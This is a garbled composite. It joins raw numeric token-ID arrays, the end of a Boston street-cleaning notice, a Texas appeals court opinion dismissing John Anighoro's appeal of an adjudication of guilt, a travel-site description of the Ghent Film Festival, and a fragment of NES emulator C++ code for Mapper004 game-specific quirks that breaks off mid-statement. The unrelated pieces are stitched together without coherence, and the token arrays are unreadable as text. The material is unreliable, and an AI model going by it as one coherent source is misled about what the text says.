1302, 434, 190, 187, 324, 6881, 8518, 273, 15457, 13, 45030, 432, 247, 8411, 273, 3114, 20446, 15, 50276, 10685, 15, 6124, 190, 187, 39546, 15, 29319, 15, 20339, 15, 1445, 15, 5976, 15, 805, 13, 3015, 608, 9, 67, 10, 313, 50126, 251, 6023, 15, 4695, 558, 313, 18, 10, 187, 1777, 37889, 362, 15, 2418, 13, 854, 1619, 322, 15, 56, 15, 19, 69, 337, 13, 374, 190, 187, 9, 10685, 15, 39546, 15, 2946, 15, 9748, 481, 50276, 1231, 1364, 13, 3103, 13, 5597, 436, 4549, 15, 535, 32062, 186, 4877, 55, 1838, 13573, 2293, 33082, 44104, 56, 13, 9060, 8293, 187, 187, 19591, 374, 13, 4748, 187, 187, 8639, 4661, 88, 13, 330, 15, 43, 904, 33508, 459, 13, 285, 31247, 13, 25544, 15, 187, 36, 3298, 13, 500, 904, 417, 15299, 187, 187, 9, 4045, 3105, 15739, 763, 10, 187, 18, 15, 50275, 688, 5215, 13, 253, 22891, 13799, 14108, 5976, 15, 805, 13, 3015, 608, 9, 67, 10, 281, 2085, 323, 247, 987, 273, 4549, 190, 187, 4064, 253, 2332, 1302, 434, 3061, 281, 21633, 9038, 15, 50276, 6014, 273, 2552, 3495, 13, 5215, 13, 5096, 394, 7153, 904, 416, 15, 52, 904, 448, 15, 11084, 25, 13, 3015, 608, 13, 190, 187, 8602, 5255, 15, 2588, 15, 28856, 577, 20216, 13, 577, 26933, 15, 50276, 6436, 13, 253, 15129, 310, 13893, 285, 10384, 281, 271, 190, 187, 324, 6881, 8518, 4854, 5196, 327, 390, 846, 253, 3576, 3522, 273, 253, 10843, 13, 3978, 1458, 13, 5215, 13, 190, 187, 1747, 21350, 273, 672, 253, 39791, 273, 15457, 369, 8927, 36334, 390, 672, 253, 8399, 4933, 190, 187, 24078, 281, 253, 4098, 273, 36334, 39791, 3114, 20446, 369, 7730, 15, 50276, 6014, 273, 2552, 3495, 13, 190, 187, 8602, 13, 5096, 394, 7153, 904, 416, 15, 52, 904, 448, 15, 11084, 25, 13, 3015, 8676, 13, 5215, 5255, 15, 2588, 15, 28856, 577, 20216, 13, 7127, 1012, 15, 187, 9867, 19005, 1241, 512, 689, 253, 3645, 187, 187, 510, 25870, 15913, 14964, 187, 187, 7161, 3440, 5239, 253, 10541, 187, 187, 510, 25870, 15913, 14964, 369, 4232, 275, 15788, 347, 247, 3484, 8, 3085, 16365, 13, 285, 556, 1580, 3715, 715, 581, 273, 3060, 434, 954, 11906, 3085, 3394, 15, 6000, 807, 275, 4437, 13, 253, 16365, 10262, 690, 7346, 3386, 285, 2456, 32353, 432, 512, 2439, 253, 1533, 15, 329, 2491, 273, 1027, 3085, 5659, 403, 44762, 833, 13, 35748, 689, 2233, 13, 933, 20985, 1016, 807, 15, 380, 5625, 20369, 273, 15913, 1294, 41590, 5505, 569, 313, 42130, 4899, 10, 3183, 3013, 436, 16365, 347, 247, 12085, 16365, 8558, 48526, 4404, 253, 686, 48276, 273, 3440, 327, 3085, 5983, 1707, 403, 577, 16620, 598, 323, 42562, 285, 1475, 1458, 994, 9231, 15, 187, 187, 3378, 697, 2770, 327, 3085, 3440, 13, 253, 25870, 15913, 14964, 556, 697, 1211, 4451, 1659, 275, 5213, 33182, 15, 6000, 807, 13, 253, 16365, 1963, 3013, 3085, 3440, 34888, 13, 4933, 43039, 273, 3085, 7363, 253, 5147, 597, 17337, 15, 1176, 993, 398, 824, 347, 3035, 48830, 4922, 695, 531, 13, 27581, 714, 1096, 13, 3599, 961, 48647, 13, 6277, 611, 18986, 13, 15435, 40289, 13, 15197, 35787, 13, 9309, 265, 6304, 254, 489, 13, 16137, 1503, 22369, 13, 35544, 24064, 250, 13, 20577, 29915, 13, 11643, 14, 33612, 1665, 8757, 13, 6277, 399, 9045, 13, 33746, 41231, 12126, 311, 18524, 403, 690, 273, 253, 1142, 3085, 3440, 38209, 665, 452, 2168, 2668, 253, 3924, 387, 25870, 15, 187, 187, 7542, 6585, 13, 253, 443, 864, 85, 15913, 14964, 556, 671, 29070, 253, 3645, 18874, 13712, 18165, 13, 253, 954, 34544, 35846, 16620, 275, 253, 1533, 15, 5815, 807, 13, 253, 1682, 35846, 43039, 403, 4070, 9698, 285, 4763, 5213, 8981, 323, 616, 789, 15, 831, 45200, 2554, 556, 5604, 574, 271, 3486, 15, 25870, 556, 8228, 715, 247, 4804, 1127, 323, 4232, 285, 598, 14, 395, 14, 4202, 12256, 12816, 285, 2455, 3687, 3904, 273, 33182, 1132, 3590, 46488, 432, 253, 15926, 15, 3932, 6157, 13, 1014, 253, 5284, 15913, 11417, 1108, 14659, 407, 253, 25870, 15913, 14964, 428, 556, 4070, 9698, 253, 1682, 5284, 35846, 43039, 15, 187, 187, 2290, 796, 2929, 19988, 1734, 4845, 253, 16365, 275, 352, 434, 1755, 2456, 1364, 8041, 33182, 273, 253, 1533, 984, 273, 436, 2770, 327, 313, 18405, 10, 30911, 15, 2448, 4832, 3668, 2929, 380, 8799, 5720, 9109, 1925, 253, 16365, 581, 273, 253, 2620, 5284, 15913, 43149, 25786, 342, 1894, 2, 187, 187, 18291, 627 ]

mayor's South Boston liaison, Eric Prentis, at 617-635-2680 or eric.prentis@boston.gov. City officials also reminded residents that street cleaning begins Wednesday. In South Boston, the street cleaning schedule will remain the same, although some signs now might be facing the wrong way. COURT OF APPEALS EIGHTH DISTRICT OF TEXAS EL PASO, TEXAS JOHN ANIGHORO, Appellant, v. THE STATE OF TEXAS, Appellee. § § § § § § No. 08-07-00178-CR Appeal from the 371st District Court of Tarrant County, Texas (TC#1023523D) O P I N I O N On August 10, 2006, Appellant, John Anighoro (Anighoro) was indicted for the offense of Aggravated Assault with a Deadly Weapon. On September 18, 2006, Anighoro entered a guilty plea, pursuant to a plea agreement. Anighoro agreed to remain on deferred adjudication community supervision for seven years under certain terms and conditions. On May 18, 2007, a hearing was held on the State's Petition to Proceed to Adjudication. Anighoro pled "True" to paragraph three alleging that he possessed a knife in violation of his probation term that he possess no weapons. Pat Houston, Anighoro's probation officer, introduced State's Exhibit 1, a photograph of Anighoro holding an AK-47 rifle. Anighoro claimed that it was not him in the photograph. Houston admitted not knowing when or where the photograph was taken. Houston could not establish whether the rifle in the photograph was in fact authentic. Additionally, Houston and a search team searched Anighoro's home, person, and car, finding State's Exhibit 20 (knife) in Anighoro's pocket and State's Exhibit 18 (knife) on a night stand in his bedroom. Houston commented that Anighoro told him that he used a knife in his work. Anighoro lived with his mother and his sister and did not claim ownership of State's Exhibit 18, the knife found in his bedroom. No one ever took fingerprints of the knife. Anighoro pled "Not True" to paragraph four, which required Anighoro to remain within Tarrant County unless prior authorization was granted by the Court or a supervision officer. During Anighoro's room search, Houston retrieved bar advertisements and music advertisement cards marked as State's Exhibits 8, 9, 13, 16, and 17. State's Exhibit 8 and State's Exhibit 9 have the date of March 18, 2007, depicted on them. Houston confirmed this date was within Anighoro's probation period. According to Houston, Anighoro admitted to having attended a car show in Dallas, located in Dallas County. Houston did not know the lapse of time that Anighoro spent at Dallas. Leticia Cabello, Anighoro's mother, then testified that Anighoro had left town in relation to his work on cars. Anighoro pled "Not True" to paragraph five, which ordered Anighoro not to exhibit any gang affiliated signs or symbols or to dress or wear any clothing associated with any gang. In State's Exhibit 1, Anighoro is depicted flashing a gang sign with his left hand. Houston indicates that the hand sign is a toss for "Blood Killer," which signifies that Anighoro is not a part of the Blood gang and that he had killed a Blood. However, Houston also stated that the tossed sign could also mean B.K., and that it does not necessarily mean it can be interpreted as Blood Killer. Anighoro pled "Not True" to paragraph six, prohibiting Anighoro from possession of any gang paraphernalia, such as emblems, writings or photos, or allow further tattooing on body parts. Houston stated that on September 18, 2006, the time Anighoro was originally placed on probation, he did not have any tattoos on his hands. State's Exhibit 1 depicts a tattoo on Anighoro's right hand. There is no written statement of Anighoro's physical appearance, but rather only mental notes from Houston. Additionally, while on probation, Anighoro got two new tattoos that were not depicted in State's Exhibit 1 on his hands: "Playa" on his right hand and "Made" on his left hand. When asked, Anighoro claimed that his tattoos were not gang related. Houston explained that the tattooed words designated Anighoro as an active gang member who had been jumped in, or officially joined the gang. Furthermore, Houston testified to finding a pair of drug scales in Anighoro's car, State's Exhibit 19; a poster referring to marijuana in his bedroom, State's Exhibit 7; and graffiti on a bureau in his bedroom, State's Exhibit 4. The State waived paragraph one. The Court found paragraph two to be "Not True." The Court also determined paragraphs three through six to be "True" and adjudicated Anighoro guilty. In accord with the State's request, the court sentenced Anighoro to eighteen years' confinement in the Institutional Division of the Texas Department of Criminal Justice. Appellant raises a single issue on appeal, in which he challenges the sufficiency of evidence shown at his adjudication. However, in this case, his adjudication of guilt hearing was held on May 18, 2007. Prior to June 15, 2007, no appeal could be made on the trial court's adjudication of guilt, stemming from a violation of community supervision. Tex.Code Crim.Proc.Ann. art. 42.12, § 5(b) (Vernon Supp. 2008); (1) Phynes v. State, 828 S.W.2d 1, 2 (Tex.Crim.App. 1992). We must, therefore, dismiss this appeal. DAVID WELLINGTON CHEW, Chief Justice April 2, 2009 Before Chew, C.J., McClure, and Carr, JJ. Carr, J., not participating (Do Not Publish) 1. In 2007, the Legislature amended Article 42.12, § 5(b) to provide for a right of appeal from the trial court's decision to adjudicate. Act of May 23, 2007, 80th Leg., R.S., ch. 1308, § 5, 2007 Tex. Gen. Laws 4395, 4397. However, the amendment is prospective and applies to an adjudication hearing conducted on or after the effective date of the legislation, June 15, 2007, regardless of when the adjudication of guilt was originally deferred or when the offense giving rise to the grant of deferred adjudication community supervision was committed. Act of May 23, 2007, 80th Leg., R.S., ch. 1308, § 53, 2007 Tex. Gen. Laws 4395, 4413. Find Hostels all over the World The Gent Film Festival Where music sets the tone The Gent Film Festival was established in 1974 as a students' film festival, and has since developed into one of Europe's most prominent film events. Every year in October, the festival presents some 120 features and 50 shorts from all across the world. A range of different film programs are showcased, attracting over 100,000 viewers each year. The International Federation of Film Producers Associations (IFFPA) recognises this festival as a competitive festival primarily geared towards the 'impact of music on film'. There are 4 awards up for grabs and around 15 entrants. With its focus on film music, the Gent Film Festival has its own unique place in international festivals. Every year, the festival organises film music concerts, giving composers of film scores the platform they deserve. Composers such as Ennio Morricone, Gabriel Yared, Elmer Bernstein, Michael Kamen, Patrick Doyle, Howard Shore, Georges Delerue, Hans Zimmer, Maurice Jarre, Craig Armstrong, Harry-Gregson Williams, Michael Danna, Gustavo Santaolalla are some of the many film music legends who have already taken the stage at Gent. Since 2001, the Ghent Film Festival has also organised the World Soundtrack Awards, the most prestigious soundtrack awards in the world. Each year, the best soundtrack composers are honoured and receive international recognition for their work. This pioneering role has certainly had an impact. Gent has grown into a meeting point for established and up-and-coming musical talent and ever greater numbers of festivals play soundtracks from the wings. Since 2004, even the European Film Academy – encouraged by the Gent Film Festival - has honoured the best European soundtrack composers. Trade paper Variety placed the festival in it's top 50 must attend festivals of the world because of this focus on (film)music. American financial news paper The Wall Street Journal called the festival one of the five European Film Festivals with character! Yet there

[ 605, 6270, 708, 21122, 313, 395, 308, 26948, 2769, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 5781, 453, 49227, 68, 2387, 551, 186, 605, 427, 34483, 19571, 2788, 27793, 495, 428, 714, 21206, 642, 388, 518, 706, 2517, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 23, 550, 3763, 68, 3071, 2387, 551, 186, 605, 388, 25453, 642, 48555, 428, 714, 2123, 642, 37418, 27198, 642, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 47220, 5470, 66, 2357, 2387, 551, 186, 605, 2752, 7813, 2752, 10540, 428, 378, 23909, 642, 714, 2123, 428, 11327, 17850, 642, 15186, 2284, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 23, 71, 4196, 264, 1010, 2387, 551, 186, 605, 7903, 46191, 428, 411, 518, 2327, 74, 15366, 3855, 31586, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 2691, 2227, 71, 25772, 2387, 551, 186, 605, 6397, 423, 276, 8020, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 2691, 1671, 22210, 18, 2387, 551, 186, 605, 44065, 27319, 495, 428, 714, 2123, 23257, 316, 257, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 1731, 567, 20, 14576, 19, 2387, 551, 186, 605, 714, 2123, 42235, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 24, 35276, 12847, 3712, 2387, 551, 186, 605, 4410, 9533, 303, 5781, 374, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 796, 883, 18962, 2387, 551, 186, 605, 49314, 81, 21493, 47653, 76, 328, 642, 443, 454, 3899, 3645, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 22795, 82, 2548, 9, 427, 1410, 1450, 27209, 64, 8282, 58, 9431, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 24, 68, 24, 357, 3680, 70, 2387, 551, 186, 605, 11255, 489, 250, 642, 21446, 3612, 428, 14391, 74, 642, 611, 28720, 399, 561, 1507, 86, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15743, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 1731, 567, 20, 14576, 19, 2387, 551, 186, 605, 714, 2123, 42235, 4200, 462, 255, 1792, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 13381, 14576, 21, 66, 17, 2387, 551, 186, 605, 14538, 33334, 2401, 686, 4529, 1720, 18442, 9, 43, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 89, 18, 69, 19, 70, 22, 12058, 186, 186, 605, 9384, 1342, 495, 9, 43, 10, 7951, 2785, 1531, 68, 2295, 470, 89, 23, 67, 16742, 66, 2320, 2387, 551, 186, 605, 18694, 14990, 495, 9, 54, 10, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 51, 9466, 15157, 20, 28, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 17176, 2055, 69, 2385, 69, 24, 2387, 551, 186, 605, 34569, 10718, 9, 54, 10, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 51, 9466, 15157, 20, 28, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 37582, 2251, 25716, 43490, 2387, 551, 186, 605, 49395, 495, 9, 54, 10, 7951, 186, 5210, 1168, 4531, 26912, 6942, 9, 427, 1410, 1450, 15293, 1843, 64, 51, 8112, 947, 5349, 2379, 186, 94, 15971, 186, 338, 9, 1531, 68, 2295, 470, 7096, 3121, 1839, 4739, 67, 2387, 551, 186, 605, 16025, 59, 19, 7951, 186, 20331, 64, 881, 426, 353, 7722, 20, 64, 27209, 64, 8904, 59, 19, 28, 2379, 186, 94, 15971, 186, 605, 29151, 14, 2447, 261, 2468, 2379, 186, 10936, 64, 20559, 426, 470, 28, 2379, 186, 10936, 64, 4663, 426, 470, 28, 15971, 186, 338, 9, 1531, 68, 2295, 470, 89, 2275, 19, 5470, 66, 3571, 186, 186, 605, 29151, 308, 19395, 14423, 272, 7951, 2785, 1531, 68, 2295, 470, 89, 4185, 68, 453, 11718, 2387, 551, 186, 605, 29151, 308, 19395, 14423, 272, 313, 31879, 10, 7951, 186, 10936, 64, 20559, 426, 337, 28, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 89, 13743, 324, 71, 24, 68, 2387, 551, 186, 605, 29151, 2058, 1792, 416, 6159, 27141, 7951, 186, 10936, 64, 20559, 426, 374, 28, 2379, 186, 94, 2379, 186, 338, 9, 1531, 68, 2295, 470, 14506, 26, 69, 20, 67, 17, 66, 20, 186, 186, 605, 29151, 6053, 1594, 1173, 784, 7951, 2785, 1531, 68, 2295, 470, 89, 1525, 21361, 1438, 66, 186, 186, 605, 29151, 6053, 1594, 1173, 784, 313, 67, 18, 10, 7951, 2785, 1531, 68, 2295, 470, 89, 2526, 4482, 48463, 71, 2387, 551, 186, 605, 29151, 6053, 1594, 1173, 784, 313, 67, 19, 10, 7951, 186, 10936, 64, 20559, 426, 495, 28, 2379, 186, 94, 190, 187, 94, 190, 187, 605, 4659, 4770, 25, 298, 307, 60, 25, 62, 426, 551, 470, 89, 361, 13, 470, 89, 361, 13, 470, 89, 361, 13, 470, 89, 520, 13, 470, 89, 2640, 13, 470, 89, 2125, 13, 470, 89, 17, 39, 13, 470, 89, 361, 7734, 190, 187, 40231, 186, 37479, 5525, 1450, 5703, 20357, 9, 411, 8242, 26181, 2387, 190, 187, 92, 2379, 186, 338, 9, 2195, 10936, 64, 20559, 2387, 551, 190, 187, 605, 186, 186, 338, 4464, 9834, 30189, 28306, 10, 10494, 9, 9834, 44072, 5388, 24, 1228, 1091, 298, 307, 60, 9834, 7, 24, 2194, 7951, 186, 338, 9, 409, 64, 881, 2295, 337, 910, 11459, 186, 338, 9, 26181, 10122, 470, 89, 1449, 938, 3857, 26181, 11049, 470, 89, 24, 45231, 2387, 551, 17158, 186, 2309, 3988, 28, 11459, 186, 94, 7951, 186, 94, 2010, 604, 9, 26181, 10122, 470, 89, 28306, 3857, 26181, 11049, 470, 89, 22, 45231, 2387, 551, 17158, 186, 2309, 186, 31576, 2300, 60, 9834, 14, 17, 89, 25851, 2194, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 337, 2387, 551, 7951, 186, 605, 29151, 308, 19395, 14423, 272, 9044, 7951, 186, 338, 9, 26181, 2295, 470, 89, 22, 38, 361, 2387, 551, 11459, 186, 10936, 64, 4663, 426, 470, 28, 11459, 186, 2309, 186, 17, 89, 361, 28, 7951, 186, 94, 2010, 604, 9, 26181, 2295, 470, 89, 22, 38, 520, 2387, 551, 11459, 186, 40231, 186, 28259, 64, 53, 19395, 64, 20356, 60, 1237, 62, 426, 551, 17158, 186, 17, 21671, 13, 470, 89, 3342, 13, 470, 17296, 24, 13, 470, 89, 4148, 13, 470, 89, 4148, 13, 470, 89, 1166, 13, 470, 89, 3011, 13, 470, 89, 21, 71, 13, 17158, 186, 17, 89, 23, 71, 13, 470, 89, 23, 67, 13, 470, 89, 2275, 13, 470, 14346, 26, 13, 470, 17296, 18, 13, 470, 89, 2270, 13, 470, 89, 3953, 13, 470, 89, 1047, 13, 17158, 186, 17, 89, 3208, 13, 470, 89, 21, 70, 13, 470, 89, 23, 71, 13, 470, 89, 23, 67, 13, 470, 89, 2275, 13, 470, 14346, 26, 13, 470, 17296, 18, 13, 470, 89, 2270, 13, 17158, 186, 17, 17176, 21, 13, 470, 89, 22, 68, 13, 470, 89, 20, 70, 13, 470, 89, 1731, 13, 470, 89, 2597, 13, 470, 89, 3245, 13, 470, 89, 1012, 13, 470, 89, 361, 7734, 11459, 186, 2309, 186, 28259, 64, 53, 19395, 64, 20356, 15830, 10936, 64, 4663, 9234, 708, 470, 89, 18, 39, 2194, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 374, 2387, 551, 7951, 186, 605, 29151, 2058, 1792, 416, 6159, 27141, 9044, 7951, 186, 338, 9, 26181, 2295, 470, 89, 22, 38, 361, 2387, 551, 11459, 186, 10936, 64, 4663, 426, 470, 28, 11459, 186, 2309, 186, 17, 89, 361, 28, 7951, 186, 94, 2010, 604, 9, 26181, 2295, 470, 89, 22, 38, 520, 2387, 551, 11459, 186, 338, 9, 4632, 64, 4663, 3424, 2295, 898, 2387, 17158, 186, 2309, 186, 17, 89, 23, 39, 28, 11459, 186, 7271, 17158, 186, 2309, 186, 17, 39747, 21, 28, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 4632, 64, 20559, 2295, 495, 2387, 551, 7951, 186, 605, 29151, 6053, 1594, 1173, 784, 7951, 186, 16065, 9, 26181, 2387, 551, 11459, 186, 5045, 186, 17, 89, 3439, 3269, 27, 17158, 186, 2309, 186, 17, 89, 1762, 28, 11459, 186, 5045, 186, 17, 89, 22, 25025, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 28778, 186, 2309, 186, 17, 89, 361, 28, 17158, 186, 7271, 28778, 186, 2309, 186, 17, 89, 520, 28, 17158, 186, 7054, 28, 11459, 186, 5045, 186, 17, 89, 36554, 71, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 28778, 186, 2309, 186, 17, 40220, 18, 28, 17158, 186, 7271, 28778, 186, 2309, 186, 17, 89, 2511, 28, 17158, 186, 7054, 28, 11459, 186, 5045, 186, 17, 89, 2417, 2251, 27, 17158, 186, 338, 9, 4632, 64, 4663, 2387, 551, 28778, 186, 10936, 64, 4663, 426, 470, 28, 28778, 186, 2309, 186, 17, 89, 20, 38, 28, 17158, 186, 94, 2010, 551, 28778, 186, 10936, 64, 4663, 426, 337, 28, 28778, 186, 2309, 186, 17, 89, 1787, 28, 17158, 186, 94, 17158, 186, 7054, 28, 11459, 186, 6986, 27, 17158, 186, 7054, 28, 7951, 186, 94, 2379, 186, 94, 15971, 186, 2309, 186, 37479, 1450, 5703, 20357, 9, 26181, 5349, 190, 187, 94, 4888, 187, 4353, 186, 37479, 5525, 1450, 10639, 20357, 9, 411, 8242, 26181, 13, 9149, 5428, 941, 2387, 190, 187, 92, 15971, 186, 18828, 7310, 1587, 12236, 23869, 2125, 57, 5128, 23869, 2640, 57, 61, 79, 995, 26181, 7, 17, 89, 15651, 13, 941, 7, 17, 30962, 5349, 15971, 186, 605, 35794, 436, 1060, 5997, 49544, 714, 328, 281, 21090, 327, 7491, 15, 2379, 186, 605, 338, 9, 9834, 381, 17, 89, 28306, 10, 611, 53, 64, 17703, 426, 941, 475, 470, 89, 740, 28, 186, 605, 1542, 611, 53, 18526, 3958, 15971, 186, 338, 9, 409, 64, 881, 2295, 337, 910, 7951, 186, 338, 9, 26181, 10122, 470, 89, 1449, 938, 3857, 26181, 11049, 470, 89, 24, 45231, 2387, 551, 11459, 186, 13980, 426, 941, 708, 495, 28, 11459, 186, 338, 313, 13980, 2295, 337, 910, 17158, 186, 13980, 426, 374, 28, 11459, 186, 94, 7951, 186, 94, 2379, 186, 94, 2010, 604, 9, 26181, 10122, 470, 89, 28306, 3857, 26181, 11049, 470, 89, 22, 45231, 2387, 551, 7951, 186, 31576, 2300, 60, 9834, 14, 17, 89, 25851, 62, 426, 941, 28, 2379, 186, 94, 2010, 551, 7951, 186, 37479, 1450, 10639, 20357, 9, 26181, 13, 941, 5349, 2379, 186, 94, 190, 187, 94, 4888, 187, 4353, 186, 37479, 5525, 1450, 10639, 9, 411, 8242, 26181, 13, 9149, 5428, 941, 2387, 190, 187, 92, 2379, 186, 18828, 7310, 9, 346, 46, 3175, 10690, 329, 23869, 2125, 57, 399, 23869, 2640, 57, 418, 23869, 20, 69, 36571, 36, 23869, 69, 61, 79, 995, 26181, 7, 17, 89, 15651, 13, 941, 7, 17, 30962, 13, 295, 265, 1168, 3633, 31588, 1282, 5715, 295 ]

// Tom & Jerry (and Tuffy)(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0xaafe699c ) { // Ninja Ryukenden 3 - Yomi no Hakobune(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x6cc62c06 ) { // Hoshi no Kirby - Yume no Izumi no Monogatari(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x877dba77 ) { // My Life My Love - Boku no Yume - Watashi no Negai(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x6f96ed15 ) { // Max Warrior - Wakusei Kaigenrei(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x8685f366 ) { // Matendouji(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x8635fed1 ) { // Mickey Mouse 3 - Yume Fuusen(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x26ff3ea2 ) { // Yume Penguin Monogatari(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x7671bc51 ) { // Red Ariimaa 2(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0xade11141 ) { // Wanpaku Kokkun no Gourmet World(J) nes->SetIrqType( NES::IRQ_HSYNC ); } if( crc == 0x7c7ab58e ) { // Walkuere no Bouken - Toki no Kagi Densetsu(J) nes->SetRenderMethod( NES::POST_RENDER ); } if( crc == 0x26ff3ea2 ) { // Yume Penguin Monogatari(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x126ea4a0 ) { // Summer Carnival '92 Recca(J) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0x1d2e5018 // Rockman 3(J) || crc == 0x6b999aaf ) { // Megaman 3(U) irq_type = MMC3_IRQ_ROCKMAN3; } if( crc == 0xd88d48d7 ) { // Kick Master(U) irq_type = MMC3_IRQ_ROCKMAN3; } if( crc == 0xA67EA466 ) { // Alien 3(U) nes->SetRenderMethod( NES::TILE_RENDER ); } if( crc == 0xe763891b ) { // DBZ2 irq_type = MMC3_IRQ_DBZ2; } // VS-Unisystem vs_patch = 0; vs_index = 0; if( crc == 0xeb2dba63 // VS TKO Boxing || crc == 0x98cfe016 ) { // VS TKO Boxing (Alt) vs_patch = 1; } if( crc == 0x135adf7c ) { // VS Atari RBI Baseball vs_patch = 2; } if( crc == 0xf9d3b0a3 // VS Super Xevious || crc == 0x9924980a // VS Super Xevious (b1) || crc == 0x66bb838f ) { // VS Super Xevious (b2) vs_patch = 3; } } //static uint8 lut[8] = { 0x00, 0x00, 0x00, 0x01, 0x02, 0x04, 0x0F, 0x00 }; BYTE Mapper004::ReadLow( WORD addr ) { if(!vs_patch ) { // if((addr>=5000)&&(addr<=5007)) return lut[addr&7]; if(rom_type == 1){ if( addr >= 0x4020 && addr <= 0x7FFF ) { return security; } } else if( addr >= 0x5000 && addr <= 0x5FFF ) { return XRAM[addr-0x4000]; } } else if( vs_patch == 1 ) { // VS TKO Boxing Security if( addr == 0x5E00 ) { vs_index = 0; return 0x00; } else if( addr == 0x5E01 ) { BYTE VS_TKO_Security[32] = { 0xff, 0xbf, 0xb7, 0x97, 0x97, 0x17, 0x57, 0x4f, 0x6f, 0x6b, 0xeb, 0xa9, 0xb1, 0x90, 0x94, 0x14, 0x56, 0x4e, 0x6f, 0x6b, 0xeb, 0xa9, 0xb1, 0x90, 0xd4, 0x5c, 0x3e, 0x26, 0x87, 0x83, 0x13, 0x00 }; return VS_TKO_Security[(vs_index++) & 0x1F]; } } else if( vs_patch == 2 ) { // VS Atari RBI Baseball Security if( addr == 0x5E00 ) { vs_index = 0; return 0x00; } else if( addr == 0x5E01 ) { if( vs_index++ == 9 ) return 0x6F; else return 0xB4; } } else if( vs_patch == 3 ) { // VS Super Xevious switch( addr ) { case 0x54FF: return 0x05; case 0x5678: if( vs_index ) return 0x00; else return 0x01; break; case 0x578f: if( vs_index ) return 0xD1; else return 0x89; break; case 0x5567: if( vs_index ) { vs_index = 0; return 0x3E; } else { vs_index = 1; return 0x37; } break; default: break; } } return Mapper::ReadLow( addr ); } void Mapper004::WriteLow( WORD addr, BYTE data ) { DEBUGOUT("Address=%04X Data=%02X\n", addr&0xFFFF, data&0xFF ); // Adding this here causes Feng Yun to freeze on boot. //if(addr==0x5000) KT_bank = data * 0x10; //for KT CN games if(rom_type == 1){ if( addr >= 0x4020 && addr <= 0x7FFF ) { security = data & 3; if (security == 1){ security = 2; } } } else if( addr >= 0x5000 && addr <= 0x5FFF ) { XRAM[addr-0x4000] = data; } else { Mapper::WriteLow( addr, data ); } } void Mapper004::Write( WORD addr, BYTE data ) { DEBUGOUT( "MPRWR A=%04X D=%02X L=%3d CYC=%d\n", addr&0xFFFF, data&0xFF, nes->GetScanline(), n

